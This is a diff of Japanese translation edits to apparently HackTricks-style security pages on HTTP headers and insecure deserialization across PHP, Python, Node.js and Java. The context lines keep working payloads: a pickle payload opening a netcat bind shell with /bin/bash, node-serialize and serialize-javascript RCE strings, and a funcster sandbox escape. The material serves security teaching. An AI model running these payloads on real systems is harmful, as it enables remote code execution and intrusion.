- **Etag**値は通常、レスポンスの**内容**に基づいて**計算**されます。例えば、`ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"`は、`Etag`が**37バイト**の**Sha1**であることを示しています。
|
||||
- これらのヘッダーを使用するリクエスト: **`If-Modified-Since`**および**`If-Unmodified-Since`**は、応答ヘッダー**`Last-Modified`**が異なる時間を含む場合にのみデータで応答されます。
|
||||
- **`If-Match`**および**`If-None-Match`**を使用する条件付きリクエストは、Etag値を使用し、データ(Etag)が変更された場合にウェブサーバーが応答の内容を送信します。`Etag`はHTTP応答から取得されます。
|
||||
- **Etag**値は通常、応答の**内容**に基づいて**計算**されます。例えば、`ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"`は、`Etag`が**37バイト**の**Sha1**であることを示しています。
|
||||
|
||||
## レンジリクエスト
|
||||
|
||||
- **`Accept-Ranges`**: サーバーがレンジリクエストをサポートしているかどうか、またその場合にレンジがどの単位で表現できるかを示します。`Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: サーバーが返すべきドキュメントの部分を示します。
|
||||
- **`Accept-Ranges`**: サーバーがレンジリクエストをサポートしているかどうか、またその場合はどの単位でレンジを表現できるかを示します。`Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: サーバーが返すべきドキュメントの部分を示します。例えば、`Range:80-100`は、元の応答のバイト80から100を206 Partial Contentのステータスコードで返します。また、リクエストから`Accept-Encoding`ヘッダーを削除することを忘れないでください。
|
||||
- これは、そうでなければエスケープされる可能性のある任意の反射されたJavaScriptコードを含む応答を取得するのに役立つかもしれません。しかし、これを悪用するには、リクエストにこのヘッダーを挿入する必要があります。
|
||||
- **`If-Range`**: 指定されたetagまたは日付がリモートリソースと一致する場合にのみ満たされる条件付きレンジリクエストを作成します。リソースの互換性のないバージョンから2つのレンジをダウンロードするのを防ぐために使用されます。
|
||||
- **`Content-Range`**: 完全なボディメッセージのどこに部分メッセージが属するかを示します。
|
||||
|
||||
@ -95,10 +96,10 @@
|
||||
- **`Content-Language`**: 対象となる人間の言語を説明し、ユーザーが自分の好みの言語に応じて区別できるようにします。
|
||||
- **`Content-Location`**: 返されたデータの代替位置を示します。
|
||||
|
||||
ペンテストの観点から、この情報は通常「無駄」です。しかし、リソースが**401**または**403**で**保護されている**場合、これを**取得する方法**が見つかれば、これは**興味深い**かもしれません。\
|
||||
ペンテストの観点から、この情報は通常「無駄」です。しかし、リソースが**401**または**403**で**保護されている**場合、これを取得する**方法**を見つけることができれば、これは**興味深い**かもしれません。\
|
||||
例えば、HEADリクエストでの**`Range`**と**`Etag`**の組み合わせは、HEADリクエストを介してページの内容を漏洩させることができます:
|
||||
|
||||
- ヘッダー`Range: bytes=20-20`を持つリクエストと、`ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`を含むレスポンスは、バイト20のSHA1が`ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`であることを漏洩しています。
|
||||
- ヘッダー`Range: bytes=20-20`を持つリクエストと、`ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`を含む応答は、バイト20のSHA1が`ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`であることを漏洩しています。
|
||||
|
||||
## サーバー情報
|
||||
|
||||
@ -107,16 +108,16 @@
|
||||
|
||||
## コントロール
|
||||
|
||||
- **`Allow`**: このヘッダーは、リソースが処理できるHTTPメソッドを伝えるために使用されます。例えば、`Allow: GET, POST, HEAD`と指定されることがあり、リソースがこれらのメソッドをサポートしていることを示します。
|
||||
- **`Expect`**: クライアントがリクエストを正常に処理するためにサーバーが満たす必要がある期待を伝えるために使用されます。一般的な使用例は、クライアントが大きなデータペイロードを送信する意図を示す`Expect: 100-continue`ヘッダーです。クライアントは、送信を進める前に`100 (Continue)`レスポンスを探します。このメカニズムは、サーバーの確認を待つことでネットワークの使用を最適化するのに役立ちます。
|
||||
- **`Allow`**: このヘッダーは、リソースが処理できるHTTPメソッドを伝えるために使用されます。例えば、`Allow: GET, POST, HEAD`のように指定され、リソースがこれらのメソッドをサポートしていることを示します。
|
||||
- **`Expect`**: クライアントがリクエストを正常に処理するためにサーバーが満たす必要がある期待を伝えるために使用されます。一般的な使用例は、クライアントが大きなデータペイロードを送信する意図を示す`Expect: 100-continue`ヘッダーです。クライアントは、送信を進める前に`100 (Continue)`応答を探します。このメカニズムは、サーバーの確認を待つことでネットワーク使用を最適化するのに役立ちます。
|
||||
|
||||
## ダウンロード
|
||||
|
||||
- HTTPレスポンスの**`Content-Disposition`**ヘッダーは、ファイルを**インライン**(ウェブページ内)で表示するか、**添付ファイル**(ダウンロード)として扱うかを指示します。例えば:
|
||||
- HTTP応答の**`Content-Disposition`**ヘッダーは、ファイルを**インライン**(ウェブページ内)で表示するか、**添付ファイル**(ダウンロード)として扱うかを指示します。例えば:
|
||||
```
|
||||
Content-Disposition: attachment; filename="filename.jpg"
|
||||
```
|
||||
この意味は、「filename.jpg」という名前のファイルがダウンロードされて保存されることを意図しているということです。
|
||||
これは「filename.jpg」という名前のファイルがダウンロードされて保存されることを意図していることを意味します。
|
||||
|
||||
## セキュリティヘッダー
|
||||
|
||||
@ -128,7 +129,7 @@ Content-Disposition: attachment; filename="filename.jpg"
|
||||
|
||||
### **信頼されたタイプ**
|
||||
|
||||
CSPを通じて信頼されたタイプを強制することで、アプリケーションはDOM XSS攻撃から保護されます。信頼されたタイプは、確立されたセキュリティポリシーに準拠した特別に作成されたオブジェクトのみが危険なWeb API呼び出しに使用できることを保証し、デフォルトでJavaScriptコードを保護します。
|
||||
CSPを通じて信頼されたタイプを強制することで、アプリケーションはDOM XSS攻撃から保護されます。信頼されたタイプは、特定のセキュリティポリシーに準拠した特別に作成されたオブジェクトのみが危険なWeb API呼び出しに使用できることを保証し、デフォルトでJavaScriptコードを保護します。
|
||||
```javascript
|
||||
// Feature detection
|
||||
if (window.trustedTypes && trustedTypes.createPolicy) {
|
||||
@ -147,17 +148,17 @@ el.innerHTML = escaped // Results in safe assignment.
|
||||
```
|
||||
### **X-Content-Type-Options**
|
||||
|
||||
このヘッダーはMIMEタイプのスニッフィングを防ぎます。これはXSS脆弱性につながる可能性があります。サーバーによって指定されたMIMEタイプをブラウザが尊重することを保証します。
|
||||
このヘッダーは、XSS脆弱性につながる可能性のあるMIMEタイプスニッフィングを防ぎます。これは、ブラウザがサーバーによって指定されたMIMEタイプを尊重することを保証します。
|
||||
```
|
||||
X-Content-Type-Options: nosniff
|
||||
```
|
||||
### **X-Frame-Options**
|
||||
|
||||
クリックジャッキングに対抗するために、このヘッダーはドキュメントが`<frame>`、`<iframe>`、`<embed>`、または`<object>`タグにどのように埋め込まれるかを制限し、すべてのドキュメントがその埋め込み許可を明示的に指定することを推奨しています。
|
||||
クリックジャッキングに対抗するために、このヘッダーはドキュメントが`<frame>`、`<iframe>`、`<embed>`、または`<object>`タグにどのように埋め込まれるかを制限し、すべてのドキュメントがその埋め込み許可を明示的に指定することを推奨します。
|
||||
```
|
||||
X-Frame-Options: DENY
|
||||
```
|
||||
### **クロスオリジンリソースポリシー (CORP) とクロスオリジンリソースシェアリング (CORS)**
|
||||
### **Cross-Origin Resource Policy (CORP) と Cross-Origin Resource Sharing (CORS)**
|
||||
|
||||
CORPは、どのリソースがウェブサイトによって読み込まれるかを指定するために重要であり、クロスサイトの漏洩を軽減します。一方、CORSは、特定の条件下で同一オリジンポリシーを緩和し、より柔軟なクロスオリジンリソース共有メカニズムを可能にします。
|
||||
```
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
**デシリアライズ**は、逆にシリアライズに対抗するプロセスです。特定の形式で構造化されたデータを取り、それをオブジェクトに再構築することを含みます。
|
||||
|
||||
デシリアライズは危険である可能性があります。なぜなら、**攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こさせたりすることを許す可能性があるからです。**
|
||||
デシリアライズは危険である可能性があります。なぜなら、**攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こすことを許す可能性があるからです。**
|
||||
|
||||
## PHP
|
||||
|
||||
@ -16,7 +16,7 @@ PHPでは、シリアライズおよびデシリアライズプロセス中に
|
||||
|
||||
- `__sleep`: オブジェクトがシリアライズされるときに呼び出されます。このメソッドは、シリアライズされるべきオブジェクトのすべてのプロパティの名前の配列を返す必要があります。保留中のデータをコミットしたり、同様のクリーンアップタスクを実行するために一般的に使用されます。
|
||||
- `__wakeup`: オブジェクトがデシリアライズされるときに呼び出されます。シリアライズ中に失われた可能性のあるデータベース接続を再確立し、他の再初期化タスクを実行するために使用されます。
|
||||
- `__unserialize`: オブジェクトがデシリアライズされるときに、`__wakeup`の代わりに呼び出されるメソッドです。`__wakeup`に比べてデシリアライズプロセスに対するより多くの制御を提供します。
|
||||
- `__unserialize`: オブジェクトがデシリアライズされるときに、`__wakeup`の代わりに呼び出されるメソッドです。`__wakeup`に比べてデシリアライズプロセスに対する制御が強化されます。
|
||||
- `__destruct`: オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されるメソッドです。ファイルハンドルやデータベース接続を閉じるなどのクリーンアップタスクに一般的に使用されます。
|
||||
- `__toString`: このメソッドは、オブジェクトを文字列として扱うことを可能にします。ファイルを読み取るためや、その中の関数呼び出しに基づく他のタスクに使用でき、オブジェクトのテキスト表現を効果的に提供します。
|
||||
```php
|
||||
@ -77,7 +77,7 @@ This is a test<br />
|
||||
結果を見ると、オブジェクトがデシリアライズされるときに関数 **`__wakeup`** と **`__destruct`** が呼び出されることがわかります。いくつかのチュートリアルでは、属性を印刷しようとすると **`__toString`** 関数が呼び出されるとされていますが、どうやらそれは **もう起こっていない** ようです。
|
||||
|
||||
> [!WARNING]
|
||||
> クラスに実装されている場合、メソッド **`__unserialize(array $data)`** が **`__wakeup()`** の代わりに呼び出されます。これにより、シリアライズされたデータを配列として提供することでオブジェクトをデシリアライズできます。このメソッドを使用してプロパティをデシリアライズし、デシリアライズ時に必要なタスクを実行できます。
|
||||
> メソッド **`__unserialize(array $data)`** は、クラスに実装されている場合、**`__wakeup()`** の代わりに呼び出されます。これは、シリアライズされたデータを配列として提供することでオブジェクトをデシリアライズすることを可能にします。このメソッドを使用してプロパティをデシリアライズし、デシリアライズ時に必要なタスクを実行できます。
|
||||
>
|
||||
> ```php
|
||||
> class MyClass {
|
||||
@ -123,7 +123,7 @@ $ser=serialize($o);
|
||||
|
||||
### phar:// メタデータデシリアライズ
|
||||
|
||||
ファイルを読み取るだけで、内部の PHP コードを実行しない LFI を見つけた場合、例えば _**file_get_contents(), fopen(), file() または file_exists(), md5_file(), filemtime() または filesize()**_** のような関数を使用している場合、**phar** プロトコルを使用してファイルを読み取る際に発生する **デシリアライズ** を悪用しようとすることができます。\
|
||||
ファイルを読み取るだけで、内部の PHP コードを実行しない LFI を見つけた場合、例えば _**file_get_contents(), fopen(), file() または file_exists(), md5_file(), filemtime() または filesize()**_** のような関数を使用している場合、**phar** プロトコルを使用して **ファイル** を **読み取る** ときに発生する **デシリアライズ** を悪用しようとすることができます。\
|
||||
詳細については、以下の投稿をお読みください:
|
||||
|
||||
{{#ref}}
|
||||
@ -143,9 +143,9 @@ def __reduce__(self):
|
||||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||
print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
以下のバイパステクニックを確認する前に、`print(base64.b64encode(pickle.dumps(P(),2)))`を使用して、Python3を実行している場合にPython2と互換性のあるオブジェクトを生成してください。
|
||||
以下の手法を確認する前に、`print(base64.b64encode(pickle.dumps(P(),2)))`を使用して、Python3を実行している場合にPython2と互換性のあるオブジェクトを生成してください。
|
||||
|
||||
**pickle jails**からの脱出に関する詳細情報は、以下を確認してください:
|
||||
**pickle jail**からの脱出に関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -153,7 +153,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
以下のページでは、**yaml**のPythonライブラリにおける**安全でないデシリアライズの悪用**に関する技術を紹介し、**Pickle、PyYAML、jsonpickle、ruamel.yaml**のためのRCEデシリアライズペイロードを生成するために使用できるツールで締めくくります:
|
||||
以下のページでは、Pythonライブラリの**不安全なデシリアライズを悪用する手法**を紹介し、**Pickle, PyYAML, jsonpickle, ruamel.yaml**のRCEデシリアライズペイロードを生成するために使用できるツールで締めくくります:
|
||||
|
||||
{{#ref}}
|
||||
python-yaml-deserialization.md
|
||||
@ -172,7 +172,7 @@ python-yaml-deserialization.md
|
||||
JSは、オブジェクトを作成するためだけに実行される**"マジック"関数**を持っていませんが、**`toString`**、**`valueOf`**、**`toJSON`**のように、**直接呼び出さなくても頻繁に使用される関数**があります。\
|
||||
デシリアライズを悪用する場合、これらの関数を**妥協して他のコードを実行**させることができれば、呼び出されたときに任意のコードを実行できます。
|
||||
|
||||
関数を直接呼び出さずに**"マジック"な方法**で呼び出すもう一つの方法は、**非同期関数**(プロミス)によって返されるオブジェクトを**妥協する**ことです。なぜなら、その**返されるオブジェクト**を**"then"という関数型のプロパティ**を持つ別の**プロミス**に**変換**すると、別のプロミスによって返されるだけで**実行される**からです。_詳細については_ [_**このリンク**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _を参照してください。_
|
||||
関数を直接呼び出さずに呼び出す**別の"マジック"な方法**は、**非同期関数**(プロミス)によって返されるオブジェクトを**妥協する**ことです。なぜなら、その**返されるオブジェクト**を**"then"という関数型のプロパティ**を持つ別の**プロミス**に**変換**すると、別のプロミスによって返されるために**実行される**からです。_詳細については_ [_**このリンク**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _を参照してください。_
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -223,7 +223,7 @@ console.log("Serialized: \n" + payload_serialized)
|
||||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
関数がシリアライズされると、シリアライズされたオブジェクトに `_$$ND_FUNC$$_` フラグが追加されることが例で示されています。
|
||||
関数がシリアライズされると、シリアライズされたオブジェクトに `_$$ND_FUNC$$_` フラグが追加されることが例からわかります。
|
||||
|
||||
ファイル `node-serialize/lib/serialize.js` 内で、同じフラグとそのコードの使用方法を見つけることができます。
|
||||
|
||||
@ -231,10 +231,10 @@ console.log("Serialized: \n" + payload_serialized)
|
||||
|
||||
.png>)
|
||||
|
||||
最後のコードのチャンクで見られるように、**フラグが見つかった場合**、`eval` が関数をデシリアライズするために使用されるので、基本的に **ユーザー入力が `eval` 関数内で使用されています**。
|
||||
最後のコードのチャンクで見られるように、**フラグが見つかった場合**、`eval` が関数をデシリアライズするために使用されるので、基本的に **ユーザー入力が `eval` 関数内で使用されている**ことになります。
|
||||
|
||||
しかし、**関数をシリアライズするだけでは**、それを**実行することはありません**。なぜなら、コードの一部が**`y.rce`を呼び出す必要がある**からで、これは非常に**ありそうにありません**。\
|
||||
それでも、シリアライズされたオブジェクトを**修正して**、**いくつかの括弧を追加する**ことで、オブジェクトがデシリアライズされるときにシリアライズされた関数を自動的に実行させることができます。\
|
||||
しかし、**関数をシリアライズするだけでは**それを**実行することはありません**。なぜなら、コードの一部が**`y.rce`を呼び出す必要がある**からで、これは非常に**ありそうにありません**。\
|
||||
それでも、**シリアライズされたオブジェクトを修正して**、**いくつかの括弧を追加する**ことで、オブジェクトがデシリアライズされたときにシリアライズされた関数を自動的に実行させることができます。\
|
||||
次のコードのチャンクで、**最後の括弧**と、`unserialize` 関数がどのように自動的にコードを実行するかに注意してください:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
@ -243,7 +243,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
以前に示したように、このライブラリは`_$$ND_FUNC$$_`の後のコードを取得し、**実行します**。したがって、**コードを自動実行する**ためには、**関数作成**部分と最後の括弧を**削除し**、次の例のように**JSのワンライナーを実行する**ことができます:
|
||||
以前に示したように、このライブラリは`_$$ND_FUNC$$_`の後のコードを取得し、**実行します**。したがって、**コードを自動実行する**ためには、**関数の作成**部分と最後の括弧を**削除し**、次の例のように**JSのワンライナーを実行する**ことができます:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
@ -254,7 +254,7 @@ serialize.unserialize(test)
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
**funcster**の注目すべき点は、**標準の組み込みオブジェクト**へのアクセスが不可能であることです。これらはアクセス可能なスコープの外にあります。この制限により、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が妨げられ、`console.log()`や`require(something)`のようなコマンドを使用すると、`"ReferenceError: console is not defined"`のような例外が発生します。
|
||||
**funcster**の注目すべき点は、**標準の組み込みオブジェクト**へのアクセスができないことです。これらはアクセス可能なスコープの外にあります。この制限により、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が妨げられ、`console.log()`や`require(something)`のようなコマンドを使用すると、`"ReferenceError: console is not defined"`のような例外が発生します。
|
||||
|
||||
この制限にもかかわらず、特定のアプローチを通じて、すべての標準の組み込みオブジェクトを含むグローバルコンテキストへの完全なアクセスを復元することが可能です。グローバルコンテキストを直接利用することで、この制限を回避できます。たとえば、次のスニペットを使用してアクセスを再確立できます:
|
||||
```javascript
|
||||
@ -278,7 +278,7 @@ __js_function:
|
||||
}
|
||||
funcster.deepDeserialize(desertest3)
|
||||
```
|
||||
**詳細については、[このソースを読む](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**。**
|
||||
**詳細については、[このソースを読む](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**。
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
@ -288,7 +288,7 @@ function deserialize(serializedJavascript) {
|
||||
return eval("(" + serializedJavascript + ")")
|
||||
}
|
||||
```
|
||||
この関数がオブジェクトをデシリアライズするために使用される場合、あなたは**簡単にそれを悪用できます**:
|
||||
この関数がオブジェクトをデシリアライズするために使用される場合、あなたは**簡単にそれを悪用できます**:
|
||||
```javascript
|
||||
var serialize = require("serialize-javascript")
|
||||
//Serialization
|
||||
@ -302,7 +302,7 @@ var test =
|
||||
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||||
deserialize(test)
|
||||
```
|
||||
**詳細についてはこのソースを参照してください**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**詳細についてはこのソースを読んでください**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### Cryoライブラリ
|
||||
|
||||
@ -335,7 +335,7 @@ Javaでは、**デシリアライズコールバックはデシリアライズ
|
||||
|
||||
#### ブラックボックス
|
||||
|
||||
ブラックボックステストでは、javaシリアライズオブジェクトを示す特定の**シグネチャまたは「マジックバイト」**を探してください(`ObjectInputStream`から発生):
|
||||
ブラックボックステストでは、Javaシリアライズオブジェクトを示す特定の**シグネチャまたは「マジックバイト」**を探してください(`ObjectInputStream`から発生):
|
||||
|
||||
- 16進パターン:`AC ED 00 05`。
|
||||
- Base64パターン:`rO0`。
|
||||
@ -357,33 +357,33 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
あなたは、**脆弱性が知られているすべてのライブラリを確認し**、[**Ysoserial**](https://github.com/frohoff/ysoserial)が提供できるエクスプロイトを探すことができます。または、[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)に示されているライブラリを確認することもできます。\
|
||||
さらに、[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)を使用して、エクスプロイト可能なガジェットチェーンを検索することもできます。\
|
||||
あなたは、**Ysoserial**がエクスプロイトを提供できる脆弱性のあるすべてのライブラリを**チェックする**ことができます。または、[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)に示されているライブラリを確認することもできます。\
|
||||
また、[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)を使用して、エクスプロイト可能な可能性のあるガジェットチェーンを検索することもできます。\
|
||||
**gadgetinspector**を実行する際(ビルド後)は、発生する多数の警告/エラーを気にせず、完了するまで待ってください。すべての結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。**gadgetinspectorはエクスプロイトを作成せず、偽陽性を示す可能性があることに注意してください**。
|
||||
|
||||
#### ブラックボックステスト
|
||||
|
||||
Burp拡張機能[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**どのライブラリが利用可能か**(バージョンも含む)を特定できます。この情報をもとに、脆弱性をエクスプロイトするための**ペイロードを選択しやすくなる**でしょう。\
|
||||
Burp拡張機能[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**どのライブラリが利用可能か**(バージョンも含む)を特定できます。この情報をもとに、脆弱性をエクスプロイトするための**ペイロードを選択しやすく**なります。\
|
||||
[**GadgetProbeについて詳しく学ぶにはこちらをお読みください**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**\
|
||||
GadgetProbeは**`ObjectInputStream`のデシリアライズ**に焦点を当てています。
|
||||
|
||||
Burp拡張機能[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、**ysoserialでエクスプロイト可能な脆弱なライブラリを特定し**、それらを**エクスプロイト**できます。\
|
||||
Burp拡張機能[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、**ysoserialでエクスプロイト可能な脆弱なライブラリを特定**し、それらを**エクスプロイト**できます。\
|
||||
[**Java Deserialization Scannerについて詳しく学ぶにはこちらをお読みください。**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scannerは**`ObjectInputStream`**のデシリアライズに焦点を当てています。
|
||||
|
||||
[**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**内のデシリアライズ脆弱性を**検出**することもできます。このプラグインは、**`ObjectInputStream`**に関連する脆弱性だけでなく、**Json**や**Yml**デシリアライズライブラリからの脆弱性も検出します。アクティブモードでは、スリープやDNSペイロードを使用して確認を試みます。\
|
||||
[**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**内のデシリアライズの脆弱性を**検出**することもできます。このプラグインは、**`ObjectInputStream`**に関連する脆弱性だけでなく、**Json**および**Yml**デシリアライズライブラリの脆弱性も検出します。アクティブモードでは、スリープまたはDNSペイロードを使用して確認を試みます。\
|
||||
[**Freddyについての詳細情報はこちらで確認できます。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**シリアライズテスト**
|
||||
|
||||
サーバーが使用している脆弱なライブラリを確認するだけではありません。時には、**シリアライズされたオブジェクト内のデータを変更して、いくつかのチェックをバイパスすることができる**かもしれません(ウェブアプリ内で管理者権限を付与されるかもしれません)。\
|
||||
ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷できます。送信しているデータを知ることで、それを変更していくつかのチェックをバイパスすることが容易になります。
|
||||
サーバーによって使用されている脆弱なライブラリを確認するだけではありません。時には、**シリアライズされたオブジェクト内のデータを変更していくつかのチェックをバイパスする**ことができるかもしれません(ウェブアプリ内で管理者権限を付与するかもしれません)。\
|
||||
ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**[SerializationDumper](https://github.com/NickstaDB/SerializationDumper)**を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷することができます。送信しているデータを知ることで、それを変更していくつかのチェックをバイパスするのが容易になります。
|
||||
|
||||
### **エクスプロイト**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
Javaデシリアライズをエクスプロイトするための主なツールは[**ysoserial**](https://github.com/frohoff/ysoserial)です([**ここからダウンロード**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。また、複雑なコマンド(パイプなど)を使用できる[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)の使用も検討できます。\
|
||||
Javaデシリアライズをエクスプロイトするための主なツールは[**ysoserial**](https://github.com/frohoff/ysoserial)です([**こちらからダウンロード**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。また、複雑なコマンド(例えばパイプを使用)を使用できる[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)の使用も検討できます。\
|
||||
このツールは**`ObjectInputStream`**のエクスプロイトに**焦点を当てている**ことに注意してください。\
|
||||
私は**RCEペイロードの前に「URLDNS」**ペイロードを使用して、注入が可能かどうかをテストすることを**お勧めします**。いずれにせよ、「URLDNS」ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることに注意してください。
|
||||
```bash
|
||||
@ -495,9 +495,9 @@ Javaはさまざまな目的で多くのシリアル化を使用します:
|
||||
|
||||
- **HTTPリクエスト**: シリアル化は、パラメータ、ViewState、クッキーなどの管理に広く使用されています。
|
||||
- **RMI (Remote Method Invocation)**: Java RMIプロトコルは、シリアル化に完全に依存しており、Javaアプリケーションにおけるリモート通信の基盤です。
|
||||
- **RMI over HTTP**: この方法は、Javaベースの厚いクライアントウェブアプリケーションによって一般的に使用され、すべてのオブジェクト通信にシリアル化を利用します。
|
||||
- **RMI over HTTP**: この方法は、Javaベースの厚いクライアントウェブアプリケーションによく使用され、すべてのオブジェクト通信にシリアル化を利用します。
|
||||
- **JMX (Java Management Extensions)**: JMXは、ネットワーク上でオブジェクトを送信するためにシリアル化を利用します。
|
||||
- **カスタムプロトコル**: Javaでは、標準的な慣行として生のJavaオブジェクトの送信が含まれ、今後のエクスプロイト例で示されます。
|
||||
- **カスタムプロトコル**: Javaでは、標準的な慣行として、生のJavaオブジェクトの送信が含まれ、今後のエクスプロイト例で示されます。
|
||||
|
||||
### Prevention
|
||||
|
||||
@ -583,7 +583,84 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
- gadgetinspectorについてのトーク: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) およびスライド: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Marshalsec論文: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
- Javaと.NetのJSONデシリアライズ **論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) およびスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- デシリアライズのCVE: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## JNDIインジェクション & log4Shell
|
||||
|
||||
**JNDIインジェクションとは何か、RMI、CORBA、LDAPを介してどのように悪用するか、log4shellをどのように悪用するか**(およびこの脆弱性の例)については、以下のページを参照してください。
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
{{#endref}}
|
||||
|
||||
## JMS - Javaメッセージサービス
|
||||
|
||||
